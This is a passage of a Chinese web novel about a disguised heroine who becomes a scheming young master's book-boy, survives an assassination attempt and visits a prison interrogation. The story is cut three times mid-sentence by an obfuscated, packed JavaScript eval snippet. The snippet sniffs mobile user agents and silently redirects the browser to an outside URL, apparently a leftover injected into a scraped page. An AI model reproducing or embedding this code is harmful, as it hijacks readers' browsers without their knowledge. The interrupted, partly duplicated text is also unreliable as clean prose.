地方虽然不大,但画图纸的人显然十分懂得空间规划,直线距离几步就能到的地方,他偏不给直线,就让你绕着走。 柳棠跟着管家进了宅门往东,沿假山绕半圈,拐弯走长廊,再拐弯走五六道月洞门,又直走一会儿,才终于到了地方。 柳棠这一路绕得眼晕,但不妨碍她逛得尽兴。 这配置跟早年比较考究的古装电视剧差不多,细节上更讲究一些,比不上现代开放的那些园林大气,但就是有一种特殊的韵味,很不一样。 柳棠走一圈下来心旷神怡,有种天人合一的感觉,心里很踏实。 踏实了没一会儿,视野中出现一张先惊后怒的脸。 竟是瑛姑。柳棠不由苦笑。 瑛姑眉毛一竖,快步往这边过来。柳棠心头一跳,下意识往管家身后躲了躲。 王管家也看见了瑛姑,见她怒气冲冲地过来,疑惑道:“瑛姑娘这是怎么了?” 瑛姑:“管家带这个人来东院是什么意思?” 见她语气不善又怒目瞪着柳棠,王管家心里也有些犯嘀咕,扫了柳后者一眼,怎么也想不出一个明明很守规矩的人,是怎么把大门不出二门不迈的瑛姑娘给得罪了的。 想是前日这小子还没学规矩,跟初砚过去时把人给冲撞了。 两人的私人恩怨却是不能越过主人家的意思去。 王管家笑道:“这是表公子点名要的书童,让我先教几天规矩。这不,这小子脑子灵光,学得快,这便带过来给公子过目,看他老人家满不满意。” 公子竟要把这样的人留在身边? 瑛姑冷笑一声,手腕一翻,一柄飞镖凭空出现,在阳光下泛着森森冷光。 她上下抛掷飞镖,冷冷看着柳棠,突地猛一振臂,飞镖穿透空气极速飞出不见,直至耳边传来一声利器刺入树干的闷响。 柳棠心惊肉跳,往那边一望,只见飞镖竟将一只老鼠死死钉在树上。 “这府上老鼠多得很,是时候做大扫除了,王管家,我说得对吗?” “瑛姑娘说得是,我稍后便安排人好生整顿一番。”王管家擦擦额上冷汗,万万没想到一个看起来十分普通的婢女竟有这么厉害的功夫,她若想杀人,岂不是如砍菜切瓜般轻而易举? 还得告诫府中上下,对东院多加礼重才是。 王管家侧过身把柳棠让出来,硬着头皮问:“那这位,可还需带给公子过目?” 瑛姑冷哼一声,看着柳棠凉凉道:“公子身边危机四伏,随时可能命丧黄泉,你想要留下来,可是做好了必死的觉悟?” 柳棠紧张地吞了吞口水。 大爷的,系统这是给她挑的什么人,江洋大盗还是朝廷钦犯? 不过万安县的县令是必不敢窝藏贼寇的,柳棠把奔腾如野马的思绪拽回来,猜测这只是瑛姑单方面给她放的狠话。 她真留下来,要面对的威胁多半只是瑛姑本人而已。 届时都是同事,互相残杀的事情应是做不出来的,她小命应该无恙,只是易地而处,如果她是瑛姑,会如何对待这种“无耻之徒”? 柳棠突然觉得幻肢有点痛痛的。 问题不大问题不大。 柳棠露出真诚的苦笑,作揖道:“小人确有难处,还望姑娘多多担待。” “很好,很好。”瑛姑双眼微眯,怒气竟然收敛了,她看向王管家,“你带他去见公子。” 王管家和柳棠两人俱都松了口气。 好一会儿,王管家放慢脚步,轻声问:“瑛姑娘话都说到那份上了,你当真不怕吗?” 柳棠笑着道:“这是县太爷府上,县太爷是什么样的为人,大家都是有目共睹,这府上哪能如那位姑娘所言如此恐怖?那位姑娘想来只是试我是否是那等胆小之辈罢了。” 王管家原本想说的话顿时哽在喉头,欲言又止。 只能暗示道:“表公子非是老爷亲子。” 柳棠明白他的意思,但她没得退,只能进。 她油盐不进地笑道:“管家此言莫非也是试探我的一环?还请放心,我绝非那等胆小无能、上不得台面之辈。” 随后真心实意地叹道:“况且具体我能否留下,还得看公子心意,此时去担忧那些既未发生、也可能永远不会发生的事,岂不是杞人忧天么?” 话到了这个份儿上,王管家不再多言。 到了书房外,柳棠远远就看见初砚抱剑立在门口,下意识摸了摸脸。 昨晚从亭子里出去时就跟初砚打了个照面,不过昨晚光线昏暗,她又敷了粉上了妆,加之她今日特意描粗了眉毛,涂黑了些皮肤,想必是认不出来的。 想到昨晚情景,柳棠不由在心里吐槽一番:这侍卫看起来神气得很,实则也是个中看不中用的,昨晚连她闯进了亭子里都不知道,竟还好意思担个保人性命的差使。 不过他怀里的剑看着挺不错,古朴大气,有常年保养的痕迹。 这剑之前可没出现过。 是昨晚守卫不力被斥责了,所以找衙门里的捕快借了把? 柳棠正暗自揶揄着,突然收到初砚冷冷的一瞥,心里顿时凉了大半。 眼神不善啊,她好像没惹他吧? 王管家往前一步,拱手道:“初砚兄弟,公子要的书童我带来了,他已学完了规矩,你看,是否通报一下?” 初砚站在门前没吭声。 柳棠和王管家对视一眼,在这刻意施加的压力下,心跳仍是不自觉地缓慢加速。 好典型的面试施压环节,怎么古往今来都爱用这一招,可惜如今双方地位悬殊太大,不能反压力回去,真是好没意思。 柳棠貌似恭敬惶恐实则无所屌谓地低头站着,心说姑奶奶已经尽力了,这回能成成,不能成……那她再想别的办法。 正凝神想着这一步若走不通该怎么办,就听书房里面响起顾珩的声音:“让她进来。” 声音是好听的,但这个人,经柳棠初步判定,是有点狗的。 初砚往侧边走了一步,把大门亮出来,“进去吧。” 管家松了口气,带着柳棠上前,路过初砚时却被拦下来,“她留下即可,管家回去吧。” 管家也不抗拒,一点头就往回走,路过柳棠时给她递去一个“守好规矩、自求多福”的眼神。 柳棠扭头目送管家走远,深吸口气,在初砚的注视下,上前推开书房门。 屋里光线较暗些,柳棠来不及看室内装潢,先被书案后的那人夺去了视线。 一抹阳光越过她,撒在顾珩身上,使得他成了这屋里独一抹的亮色,颇有一种“在其面前,天地万物都黯然失色”的意境。一身绛紫色长袍穿在身上,修长挺拔如一杆紫竹,别样的清傲孤绝又难掩绮丽丰姿。 柳棠不着痕迹地按了按胸口,迈入另一条腿,彻底地进到书房。 身后猛然间一道关门声,吓得柳棠心脏重重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463583|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一跳。 沃草! 初砚竟然把门给关上了。说好的办公室有异性相处时需保持大门处于敞开状态呢? 哦,她现在是个男人。 柳棠悻悻然回头,只见落在顾珩脸上的暖色已然消失,如玉般的肌肤更衬得他格外的冷淡疏离、贵气逼人。 柳棠心怀敬畏地多看了几眼,视线才缓缓落在他手上,沉思:作为书童,她要怎么才能合情合理地握住这双手? 顾珩提着笔,慢悠悠勾画,看似专注,实则已经分了部分心神在柳棠身上。 眼下,书房里只有他们两个人,无论要做什么,这无疑是个很好的时机。他在等柳棠行动。 他不觉得柳棠是来杀他的,但也想不明白一个衣食无忧的小女子为什么要女扮男装处心积虑地接近他。 总不能是为了他这张脸来的吧?光是这么一想都觉得荒唐至极。 顾珩一哂,为自己有这样的想法感到好笑。 感受到那一抹视线从脸上滑落到手上,顾珩莫名松了口气。不把他给的机会浪费在无聊的事情上便好。 顾珩视线微移,看向自己的手。 手掌宽大,手指修长,因常年提笔写字、提刀练剑而有所变形,上覆有薄厚不一的茧子,虽筋骨遒劲,但在年轻姑娘眼里,多半是算不得好看的。 那么,眼前这一位年轻姑娘,一直看着他的手是在想什么? 顾珩笔走龙蛇,大开大合,在柳棠的注视下,良久才停了笔。 他扫一眼柳棠,在心里给了个中肯的评价:是个耐得住性子、又极其执着的人。 顾珩负手立在书案后,让柳棠上前来看画:“瞧瞧,我画得如何?” 在心中默默记诵着《书童的自我修养》、做好了随时被提问的准备的柳棠:“……” 艺术鉴赏不是选修课吗,为什么也在必考项里? 柳棠硬着头皮上前,被宣纸上一团漆黑的墨水震了一震,任她瞪着眼看了许久也看不出这上面画的究竟是个什么脏东西。 顾珩还在等着她的回答。 柳棠是真不懂这个,怎么看都觉得像是小儿随手涂抹的东西,甚至还不如……她深吸一口气,道:“禀公子,小人才疏学浅,鲜少接触字画,不懂其中深奥,不敢胡言……” “想到什么直说便是,我又不会怪你,你若不说才是忤逆。” 我忤逆你七舅姥爷的忤逆。 柳棠在心里骂了句脏话,先前戴的那层滤镜啪嗒嗒碎了一大半,眼睛一闭一睁,心说你既然诚心诚意的发问了,那我就大发慈悲的告诉你,于是咬牙道:“那小人就直说了,望公子莫要怪罪小人失礼。” “说实话,小人觉得这就是一滩墨渍。” “……” 顾珩淡定地把宣纸翻了个面,上面赫然是一尊怒目金刚。这是一副双面画。看来柳棠确实不谙此道。 只听闻有双面绣,却不知有双面画的柳棠泪流满面:竖子害我! 柳棠在心里一跪到底,向金刚忏悔“失言之罪”。 顾珩等了一会,见柳棠还没有行动,沉吟片刻,对其道:“到我身边来。” 柳棠蓦然抬头,正对上顾珩湛湛双眸,见其神色如常,这才应是。 距离越来越近,柳棠胸中情绪翻滚得厉害。 近了,更近了,她要是突然上前一把抓住他的手,成功率有多少,届时她又该如何解释?是说脚滑了下意识想拉人垫背,还是说看见他手心里有蚊子想帮忙拍死? 8. 第 8 章 不行不行。此举太不稳重,这样轻浮的行为一出来,她那书童的位置就别想了。至少在确认无法当这人书童之前,她不能这么做。 柳棠立在顾珩身旁一步的距离,“公子?” 对上顾珩的视线,柳棠有一点心虚,视线别开一点又立刻顽强地挪回来,忍着眼酸跟他对视片刻,后谨守仆从的礼仪,微垂下头避开视线以示恭敬。 当然恭敬是她装的,做这行为也并未让她觉得屈辱,主要是这人眼睛里像有两把亮闪闪的利剑,看久了十分刺眼,暂避锋芒未尝不可。而且她再看下去……怕是要脸红。 柳棠在心里唾弃自己没出息。 缓慢眨了两下眼睛缓解酸涩感,柳棠摒除杂念,总感觉顾珩刚才的视线中蕴含着一种淡淡的期待,好像是在鼓励她做什么事,而且这事似乎本来就是她职责的一部分。 疑惑地看了顾珩一眼。 只见后者的视线中多了几分探究。 柳棠心头一跳。怎么回事,是她遗漏了什么知识点吗,他怎么像是在审视自己的专业能力,难道在他眼里她的专业水平没达标? 柳棠脑门渗出一层薄汗。 老天,她到底漏了什么关键信息?死脑子快想啊,想不出来书童的位置就真没了,这些天的辛苦就都白费了。 顾珩为什么让她过来,他刚才到底在期待什么? 柳棠瞟过刚才自己所站的位置,视线收回时,却是把桌案上的画看了个清楚。 柳棠眼前忽而一亮。 是了,顾珩让她过来看画来着,她现在所站的位置确是一个能够好好品鉴这幅画的地方。 想通了关窍,柳棠放松下来,嘴角却微微抽搐。什么人啊,她不就是说他画得烂吗,至于把她叫过来站这么近让她重新看重新夸吗,真虚荣啊。还故作高深不表明真实意图,让她自己意会,可真会故弄玄虚啊。 不过既然把舞台交给了我,那我就给你演个大的。 柳棠吐出一口浊气,微微站直了身,引来顾珩侧目。 “公子此画……”柳棠阖目酝酿情绪,渐入佳境,再睁眼已是眼眶湿润,她语带哽咽道,“墨气淋漓,气韵萧爽,绝非尘世间物也,瞧这遒劲笔力,恰如屈铁盘丝,凌厉非常,看这纵逸之笔意,恰如渴骥奔泉之势,让人心神皆颤……” 她扑通一下滑跌在地,泪眼婆娑颇为感动地望着顾珩,抽噎道:“公子,小人观画像,如见真菩萨,身心震撼非常。茫茫间,灵魂得到了升华,精神得到了净化,人生之路乍亮!观公子大作,小人受益无穷……求公子,将此画赐予小人,小人拿回家中让子孙后代千秋万载地供奉香火,铭记公子教诲!” 回应她的是沉默。长久的沉默。 怎么没反应? 柳棠泪眼朦胧地抬眼看了看,什么也看不清楚,只感觉到对方的视线一直落在自己身上。 怎么个意思,她表现的还不够,还在等高潮? 大户人家的人快乐阈值果然高得离谱,也不知道哪位前期如此大才,居然把这人捧得如此难伺候。 柳棠暗自咬牙,他二舅姥爷的,拼了! 柳棠泪眼模糊地往前膝行几步,要去抱顾珩大腿。 顾珩脸色发黑,挪腿让开了,柳棠扑了个空。 她正要重振旗鼓,就听顾珩冷淡地叫她:“行了,起来吧!” 柳棠一顿,抹掉脑门上憋出来的汗水站起来,拿袖子擦眼泪,边擦便哽咽道:“公子恕罪,是小人失态了,实在是从未见过如此震撼人心的画作……” 顾珩皱眉看过来,柳棠识趣收声,唯唯诺诺地站远了些。 她心中纳闷,怎么还生气了,她这马屁拍得不好? 顾珩同样百思不得其解,这样奇葩的存在,究竟为什么接近他?莫不是为了故意恶心他? 未免无聊。 顾珩失了探究的心思,准备离开这乌烟瘴气之地,让初砚来收尾。 柳棠见他起身,眼睛蓦地一亮,一步上前就要搀扶他起来,柳棠两只手直取他搭在扶手上的左手,两掌化作天地,合围过去。 短短一瞬间内,柳棠盯着那只遒劲有力的手,嘴角缓慢勾起一抹微笑,她仿佛已然听到系统“叮叮”的通知声响,告诉她限制文第二项任务已经完成。 然而眼前突然一花,那手以极快的速度、刁钻的角度突围成功,居然一点儿也没碰到她的手。身体反应慢了一拍,柳棠眼睁睁看着自己两掌飞速往前往中间一合,“啪”的一声,拍散了一片空气。 来不及尴尬,柳棠抬头,正好顾珩低头,她心虚讪笑,“想扶公子一把的,怕做不好,有些激动了。” 顾珩负手站着,也清清凉凉地笑了一笑,“不必如此小心翼翼刻意讨好,你通过考验了,今后就在书房伺候。来伺候我作画。” 话说完,他重新坐了回去,等待柳棠收拾桌面,重新铺纸研磨。 柳棠暗自撇嘴,觉得这人真是个装货。嘴上立刻应答一声,连忙把未干的金刚像放到小案上晾着,又赶紧去取宣纸,等到地方了,却发现面前七八个盒子里放的都是宣纸,名字各有不同。 柳棠背上有些冒汗,这几个名字在她所背的资料里均未出现过,要取哪一种? 她回头看了顾珩一眼,犹豫着要不要问他,却又在其眼中看见了探究和审视。 柳棠暗暗骂娘,不是说通过考验了吗,怎么还露出这副鬼样子? 她回过头,拉开几个抽屉,通过花色、和细微的颜色不同排除了几项,在星光笺和蝉羽宣中纠结,上手摸了摸后,再次排除掉纸张十分之单薄的蝉羽宣,取了一张星光笺,给顾珩铺好,又往砚台里加了几滴水,开始研墨。 顾珩未发一言,提笔蘸墨往纸上挥洒黑线条。 柳棠就骂骂咧咧地去伺候他那绝世画作。 顾珩再次提笔蘸墨,眼睛却并未看向砚台,而是落在了柳棠身上。习武多年,他很轻易地看出柳棠虽有些心不在焉,但几个关键部位却都是呈放松状态,并没有时刻准备着反击或者进攻的警惕与敏锐。 不过也是,被母亲娇养着长大的柳棠可以说是四体不勤五谷不分,心机城府一概全无。 可正是因此,他才想不通,这样一个弱女子,是哪里来的魄力在见他第一面之后,便下定决心女扮男装来当他的书童?甚至还说服了其母亲。 一见钟情吗? 顾珩再次否定了这个想法,柳棠看他的眼神里可没有一分爱慕,比起他本人,她似乎更想要他的手。 更奇怪的是,柳棠昨晚以及今日的表现,全然不似资料中所写,倒像是换了个人。 深深看了柳棠一眼,顾珩打消了“找柳母问询”这个打草惊蛇的念头,他决定静观其变。 很快,一幅画又画完了,顾珩招呼她:“柳棠,来。” 看到星光笺上一团漆黑的墨团,柳棠就知道拍马屁的时候又到了。她走到旁边,准备对着墨团大夸特夸洗刷前耻的时候,顾珩突然把左手亮了出来。 柳棠眼睛一亮,伸手去接,道:“公子要看手相吗,我恰恰知道一二,虽说子不语怪力乱神,但其实看手相是有依据的,比如医者可以通过手相看出此人有无病症,书法大家可以看出此人握笔姿势是否正确、是否长期练字等等,而相师一般是杂学派,什么都懂一点点……” “是么?”顾珩面色如常地收回手,顺着她的话观察自己的手相,让她抓了个空。 柳棠悻悻然放下手,警觉到自己对其手表现得太热情了,再这样下去恐怕会让人生疑,反正书童身份有了,此后与顾珩接触的机会还多着,眼下不易操之过急,行事还是以稳妥为重,不能乱了分寸。 柳棠深吸口气,那因对方长相过于出众、而有些轻浮躁动的心思也一并沉寂下来。 盘算好了一切,柳棠眼神清亮,微笑着说:“回公子的话,小人幼时,家中但有余钱,便会请秀才公教我习字,一年请一回,一回布置一年的作业,每天二十篇大字。我字写得不差,便不想练,作业常常是叫别人代完成的。然而每次都会被先生拆穿,他说我提笔姿势不对,写不出那样端正的字,又说我手上光滑无茧,不是日日练习的样子……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463584|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾珩点头道:“是有几分道理。你家请的这位先生还挺严格,他叫什么名字?” 柳棠保持微笑:“姓丁,名山,字茂才,现如今应在柳记私塾任教。” 若不是把原主的人生剧本翻来覆去看了十来遍,这刁钻的问题她还真回答不上来。这狗人是随口一问,还是有别的什么意思? 顾珩又把手伸出来,看着柳棠道:“既然你会,那便说说看,我也好知道你小子是有真功夫还是在吹牛皮。” “你小子”这三个字落在柳棠耳朵里悦耳极了,看着面前的手,她克制着直接与其十指相扣的冲动,谨记着端庄稳重四个大字,只试探着伸手触其指尖。 顾珩眉头微挑,没躲。 两人手指便顺利碰在了一起,细微的摩挲间滋生出一种酸麻胀痒的悸动感,从指节皮肤一路传到了柳棠心头,让她不由自主地颤了颤,一时间心跳如鼓,脸颊滚烫。 完完完完蛋,脸红了。 柳棠又窘迫又觉得丢脸,手指相碰的刹那确实让人一激灵,但她发誓真没往歪处想,不就摸个手吗,有什么大不了的,她难道没有吗? 这该死的生理反应,显得她很没见识! 种种情绪交织在一起,柳棠只觉得顾珩的视线有如两座大山,压在头上让她脖颈不堪重负。逃,是她的第一反应。 柳棠生生克制住了,屏住呼吸,把不自觉微蜷着勾住了顾珩手指的手伸展开,再缓慢地呼吸,强作镇定地微笑道:“公子手掌方正有势,明堂深凹聚气……” “综合以上几点,公子应是性情稳重、精力充沛、财运厚实的人。观手上茧子分布,公子除常年提笔写字作画外,应还长期练剑或者练刀……” 顾珩似笑非笑地看着眼前脸色酡红丝毫不敢看他,却还故作镇定的人,他平静地收回手,道:“说的都对,看来你确有几分真本事。” “把此处收拾齐整,便跟初砚去领我东院的腰牌吧。” 柳棠一愣,立刻松了口气,随后连忙躬身道:“多谢公子。”随后迫不及待地大步走开。 顾珩则在她转身之后,左手不着痕迹地在袍服上蹭了蹭。 柳棠取了顾珩新画的画放在小案上,用扇子扇风促其风干,待干得差不多了,她将其翻过来,却见其上是尊观音相。 或许是背面画图的缘故,着墨难免不均,这副观音相低垂着的双眼竟尽显无情,而那怒目金刚的眼中却尽显悲悯。 柳棠看得一怔。 将两幅画仔细放好,将小案收拾整齐,柳棠站起身正要安静退出书房,就听顾珩那边一道奇怪的破空声,随后是一声沉闷的碎裂声,连汤带水地哗啦啦掉在地上。 柳棠怀疑地看过去,就见顾珩左手微举,左边的地面上躺着碎瓷片和茶水,一旁的窗户不知什么时候打开了,还在微微晃动。 柳棠一眼望过去,发现初砚提着剑在追什么人,已经远得看不清了。 柳棠脑子有点发懵,又转回视线看了眼那片碎瓷片,才发现一起躺在地上的还有一块极小的灰黑色铁镖。 这难道是刺…刺杀? 所以瑛姑说的是真的,待在顾珩身边真有生命危险? 沃草?! 看着粉身碎骨的茶盏,柳棠手抖了一下。她现在说不想当书童了还来得及吗? 顾珩意味深长地看了她一眼,“把这儿收拾了。” 柳棠觉得自己是应激了,不然怎么会觉得顾珩眼里有杀意?总之,她膝盖软软地过去收拾了。 把碎瓷片捡走丢掉,柳棠又去找了根帕子小跑着回去擦地,结果本该捡干净了的碎瓷片竟然突然出现在脚底下,她猝不及防地被迫脚滑了,呈五心朝天的姿势腾空而起。 柳棠惊慌之下四肢扑腾。 顾珩皱眉看着她,脚一勾把人顺直了。 柳棠转了好几圈,脑子晕得七荤八素的,余光突然瞥见顾珩左手就撑在案边,罩着几本书籍,她心中一动,将计就计,硬挺着头昏眼花的感觉,跌跌撞撞转着圈地靠了过去,一手扔开抹布,另一手一下就照着他的覆了上去。 9. 第 9 章 “嘶——” 柳棠头晕眼花,一路转过去差点站不稳直接倒在顾珩身上,她生生止住了,反复确认好顾珩手的位置,一把罩了上去,同时小腿重重撞上了椅子腿儿,痛得她倒抽一口凉气。 十指相贴的瞬间,并没有弹出系统的通知声,柳棠一咬牙,五指微蜷,挤入顾珩手指之间,将其大半个手背包入掌中。 系统雀跃的声音便立刻出现在脑海:“恭喜郡主殿下,任务完成!……” 柳棠随即松了口气,那股压在胸间的紧迫感也淡去不少。 目的达成,柳棠立刻张开五指后退一大步,与顾珩保持一个十分礼貌的社交距离,惊慌失措道:“多谢公子搭救。小人慌忙之中冒犯了公子,望公子恕罪。” 整个过程仅发生在数息之间,柳棠自认毫无破绽。 顾珩右手抓着那直冲自己飞来的抹布,左手手背被拍得发红,左脚鞋面上更是有一道浅浅的脚印,脚趾传来些微的刺痛感。他放下抹布,目光奇异地看着柳棠,缓缓道:“我从未有过如此粗苯的书童。” 缓慢的语调有着压抑的怒意,不过柳棠一点儿也没听出来,也没意识到自己着急忙慌的牵手动作会把人打痛,更不知道自己竟然踩了人一脚。 不过那抹布确实是她故意扔出去挡顾珩视线的。 听他突然骂人,柳棠心虚的同时嘴唇微动,下意识就想回怼,强行忍下,低头躬身讪笑道:“公子骂的是,小人知错,以后绝不再犯,还望公子恕罪。” 看在你什么也没发现的份上,看在我又能多活几天的份上,忍之。 顾珩看了看自己的左手,又看了看面有忿忿的柳棠,嘴角扯了扯,没说话。 书房门被人敲响,瑛姑微冷的声音在外面响起:“公子,人已经审完了。” 柳棠惊讶地看了看书房门,距离初砚追出去还不到一刻钟时间吧,这么快就把人抓回来并审问完毕了?这效率也太高了吧? 一道重物落地的声音过后,初砚的声音响起:“公子,人已经全部拿下。” 柳棠下意识看向顾珩,却见他正看着自己,莫名后背一寒,退后半步疑惑道:“怎、怎么了公子?” 顾珩站起来往书房外走。 柳棠见状松了口气,心说等这家伙走了,她就能以雇工的身份吃县太爷府上的饭了,吃完饭就能回家了。 只是还没来得及去找初砚领东院的腰牌……不过明天去领应该也没关系。 下班了下班了。柳棠伸手把顾珩放在桌案上的抹布拿起来,顺手把台面收拾了,又躬身去拣那颗绊倒了自己的碎瓷片,翘着嘴角一抬头,发现顾珩站在门前回头看她,神色莫名。 柳棠心头一跳,赶紧撇下嘴角,庄严地回看过去。 顾珩眉头微皱:“你杵在那儿做什么?跟上。” 柳棠就立刻想起来《书童自我修炼手册》里的内容,把抹布一塞,认命地跟了上去。 能背下来不等于能学以致用,柳棠深刻地认识到了这一点,觉得自己要努努力做到知行合一才是,不能太佛系了。 于是挺直了腰杆,一溜烟儿上前给这没长手的家伙拉开书房门。 “嘿嘿,公子请。” 外面的初砚和瑛姑见她这谄媚摸样都不由嘴角微抽。 顾珩一步踏出,门外的两人都看见了他鞋面上那浅浅的脚印,初砚一怔,不着痕迹地扫了柳棠一眼,瑛姑更是瞪了她一眼。 柳棠被两人看得莫名其妙,但还是隐忍地冲两人友好地笑笑。 瑛姑冷哼一声,别开眼无视她,初砚也面无表情地收回视线。 柳棠:“……” 瑛姑对她冷脸她能理解,但你一个侍卫身份也不比书童更高贵吧,在傲慢什么啊? 老油条欺负新来的是吧?果然职场霸凌古来有之。 顾珩没管三人间气氛的风起云涌,扫了地上那人一眼,走在前面往前堂而去。 柳棠顺着他的视线看了一眼,地上男子身上数道伤口,还在往外渗血,侧脸高高肿起,嘴角破口有血迹,此刻双眼紧闭已然昏厥。 柳棠看着那几条伤口心头一跳,心情又沉重起来,跟在几人身后哀叹命运捉弄。话说比起被人用乱刀砍死,似乎被系统直接抹杀掉要更好些,也不知道哪个更痛一点。 柳棠在心中默默长叹。 走出宅门,王管家就匆匆赶了过来,额上冒汗道:“公子那边还好吗?满府护卫竟一个个都是吃干饭的,竟然连贼子摸进来行凶了都不知道上前阻拦……” 王管家内心苦涩,何止是没有阻拦,府上护卫是压根儿就没发现有人闯进来了,也不知是哪里来的穷凶极恶之徒,竟在老爷治下如此嚣张。若不是有人来报说瑛姑抓了两人进大牢审讯,他恐怕现在都不知晓发现了什么事。 所幸那恶徒还没来得及造下杀孽,所幸这位没事,不然等老爷回来,他是真不知该如何交代。 顾珩大手一摆:“贼人已尽擒,东院无碍,管家无需忧虑,自去忙吧。” 王管家就闭了嘴,赶紧给他一行人让路。 一行人走远,周围才有人小声议论。王管家擦了擦汗,却是想起这表公子刚来之时,老爷的叮嘱。 “你见他便如见我,须尽心侍奉。不论他要做什么,都不得阻拦。” 而前堂那几位,也说老爷对他们有类似吩咐。 可这表公子究竟是什么身份,他们却是一无所知,只知道一贯骄纵张狂、极难伺候的小少爷,在这表公子面前,竟比在老爷跟前还要乖顺无数倍,想来至少也是府里或者州里名望家族的后人。 可这样的人,出行怎会只带两个仆从? - 柳棠不在乎顾珩有什么身份背景,也不在乎顾珩身上的秘密。 她没有生长在这片天地,对这里没有羁绊,阴差阳错来到书中世界,柳棠并没有把这里当成真实之地,而是类似于一个闯关游戏,只是在这个游戏里,她只有一条命,无法重开也无法回档。 或许在某种程度上讲,她已经彻底成为了这个书中世界的一部分,但她自己并不认同。在柳棠心里,她为真,书中人为假,她是体验者,是这个虚幻世界的过客。 她的目标只有一个:完成任务,通关游戏。 但在这书中世界加班,还是让她心头不快。 柳棠瘪着嘴站在队伍最后面,跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463585|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾珩来到县牢大门外,顿时一股复杂的混合型臭味从里面传出来,让从未闻过这种味道的人下意识反胃要吐。 柳棠干呕了一声,立刻掩住了口鼻。 瑛姑听见了,回头看了她一眼,冷笑着讥讽:“一个泥腿子还装得娇生惯养的,你可真行。” 柳棠不与她争口舌之利,平静地回以一笑。 果然就见瑛姑眉头皱起,眼中流露恶心,狠狠瞪她一眼便赶紧别过头去。 柳棠:想激我,我偏不应激略略略。 守着此处的人见是顾珩过来,立刻便打开了大门,一行人走进大牢,往最里面走去。 过道可供四五人并行通过,两边铁栅栏往里就是关押犯人的地方,里面人很少,只四五个牢房里关着人,这些人都蓬头垢面看不清脸,身上囚服发黄发黑,躺在稻草堆里,散出一股难闻的味道。 这会儿听见有人过来,都坐了起来,一把瘦骨头里装的全是混顽无赖,对牢头狱卒毫无畏惧,对这一行人吹口哨,笑得下流。 陪在一旁的牢头狱卒立刻拿着鞭子呵斥。 有人在旁边介绍道:“这是群天生下贱的泼皮无赖,奸懒馋滑,专营偷鸡摸狗之事,败坏县里风气,仗着大人心善从不用重刑,这帮贱骨头便隔三差五地进来吃白饭……” 柳棠屏住呼吸完全听不下去,只觉得这几人的单间就是整个大牢那复杂恶臭的来源,粪便尿液半发酵的味道混合着汗臭、脚臭、狐臭、口臭、霉味、土腥气和闷热潮气,源源不断地散出来,尖酸刻薄地硬挤进鼻腔里,熏得人眼睛刺痛。 柳棠陷入了猛烈的窒息之中。 她两只手死死捂着口鼻,受不了地加快脚步,连踩了好几次前面人的鞋子。 初砚又一次重重把脚按进与他分离的鞋底,皱着眉头忍无可忍地回头:“你到底要干什么?” 柳棠眼眶微红,退后半步。见其他人,尤其是顾珩都面色如常,身旁狱卒牢头更是相当嫌弃地看着她时,柳棠一咬牙,放下了手,她确实憋不住了,开始小股小股地呼吸。 离奇的是,除了前两口空气让她觉得十分恶心外,越到后面她竟越是闻不到那股味道了。 随后几人很快到了目的地。 最深处的牢房建得分外牢固,铁栏杆比寻常牢房的要粗上一半,两个人被拷着手脚绑在木桩上,身上血肉模糊,脑袋无力地低垂着,光线下可见的半张脸和头发都是湿漉漉油腻腻的。 初砚提着手里的人绑上去,很快退出来,在牢门外守着,只有顾珩和瑛姑两个人进去问话。 柳棠蹲在地上,鼻端萦绕着一股血腥气,脑子里还在反复闪现那两个人的凄惨模样,身体好像有点幻痛。 没过一会儿,县衙里除了县令外的其他官职人员都赶了过来,被初砚拦在外面。 柳棠拿着半截小木棍在地上画圈,眉头微皱,目露沉思。 她对刺客的事无感,在头痛的,是系统刚刚发布的任务。 “叮叮——” “新任务已发布,请郡主殿下再接再厉,和目标再次拉近距离,碰撞出爱情的火花。” “任务详情:将目标逼到墙角,拥抱他!” 10. 第 10 章 擦出爱情的火花? 那必然是不可能的。这种生硬的接触对正常人施展,只会让人觉得是性骚扰。她要是敢对顾珩做这种事,对方一定会毫不犹豫地把她脑袋揪下来当球踢吧? 所幸,之前没用完的任务期限会结余到下一项任务里,她现在有充裕的十一天时间,可以慢慢思考怎么完成这一项任务。 想到这里,柳棠笑了一下,觉得自己的心态真是棒极了。 旁边一直留意着柳棠的初砚,此刻深深地看了她一眼。 - 牢房里。 瑛姑一瓢冷水把初砚抓来的那人泼醒,开始审问。等她审完了,顾珩才看着模样凄惨的人感慨道:“连你都被派出来了,看来崔家是真没人了。” 那人身子明显一僵。 